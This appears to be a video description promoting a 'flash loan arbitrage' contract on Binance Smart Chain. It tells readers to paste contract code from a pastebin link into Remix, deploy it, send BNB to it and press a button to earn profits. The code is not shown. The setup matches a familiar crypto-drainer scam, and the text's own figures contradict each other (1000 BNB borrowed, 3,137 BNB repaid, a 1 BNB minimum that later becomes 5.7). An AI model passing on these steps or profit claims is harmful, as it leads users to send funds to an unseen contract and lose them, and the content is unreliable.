UPDATED CODE as of FEBRUARY 2024 (updated for 2024)
FOR EDUCATION PURPOSE. This worked for me. TRY IT AT YOUR OWN RISK.
Smart Contract Link - https://pastebin.com/SwvtCNyf
What is a Flash Loan?
Flash Loans are a new uncollateralised loan product in DeFi.Flash Loans empower traders and DeFi users by enabling instant borrowing with no collateral required provided that the liquidity is returned to the pool within one transaction block.
How is this achieved?
If the flashloan trade will not return the full liquidity to the pool, the whole transaction is reversed to effectively undo all the actions executed until that point. This guarantees the safety of the funds in the reserve pool.
Who is it for?
Flashloans.com can be utilised by anyone with a web 3 wallet and a requirement for using Flash loan liquidity- either this is to perform an arbitrage trade, self liquidate a DeFi loan, or providing a collateral swap for an existing DeFi position and more.
----------------------------------------------------------------------
In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC via remix to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated a couple of times until you run out of gas. The higher the volatility, the higher profits are due to price changes. Follow the instructions in the video.
Connecting MetaMask to Binance Smart Chain - https://academy.binance.com/en
Remix Link - http://remix.ethereum.org/
Smart Contract Link - https://pastebin.com/SwvtCNyf
Here a flash loan borrowed 1000 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 1001.75 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,137 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction requires 0.3 BNB of gas/transaction fees. Note that the transaction sender gains 1.6 BNB from the arbitrage in the video, this particular transaction can be repeated as price changes all the time.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Click the link and Copy the Contract code : https://pastebin.com/SwvtCNyf
3. Create new file (flashloans.sol) in Remix and paste Contract code and wait for everything to load.
3a. Forgot in the video, the next tab is the compiler tab. Make sure to choose version 0.5.0 for the compiler on the drop down menu under Compiler
4. Enter your token details and deploy the contract (Make sure you choose the "flashloans.sol" - this may show a different contract name, depending on what you entered - contract above the deploy button - if you can't find it, you have to compile it first, step 3a). If you deploy the wrong contract, the transaction will revert/throw an error.
5. Get the Contract address from Remix
6. Send ATLEAST 1 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take at least 5.7BNB or higher for the swap gas fees)
7. Call 'flashloan button' function in Remix to execute the contract.
and Boom you earn BNB!!!!!
Follow the steps in the video step by step.
Remix Link -
https://remix.ethereum.org/
Contract Code:
https://pastebin.com/SwvtCNyf
#crypto #bitcoin #cryptocurrency #blockchain #btc #ethereum #BNB #money #trading #bitcoinmining #cryptocurrencies #EARBNB #cryptotrading #bitcoins #investment #investing #entrepreneur #cryptonews #invest #business #eth #bitcointrading #tagalogflashloan #litecoin #bitcoincash #trader #bitcoinprice #investor #forextrading #bhfyp #binance #coinbase #xrp #forexsignals #finance #ripple #stocks #binary #hodl #bitcoinexchange #altcoin #success #blockchaintechnology #mining #flahsloanattack #flashloanarbitrage #cryptoworld #wealth #earning #financialfreedom #cryptomining #bitcoinbillionaire #trade #altcoins #ico #gold #stockmarket #wallstreet #cryptoinvestor #cryptotrader #bnb #cake #pancakeswap #doge #dogecoin #flashloan #hack #flashloan #flashloanattack #flashloanarbitrage #earnbnb #freebnb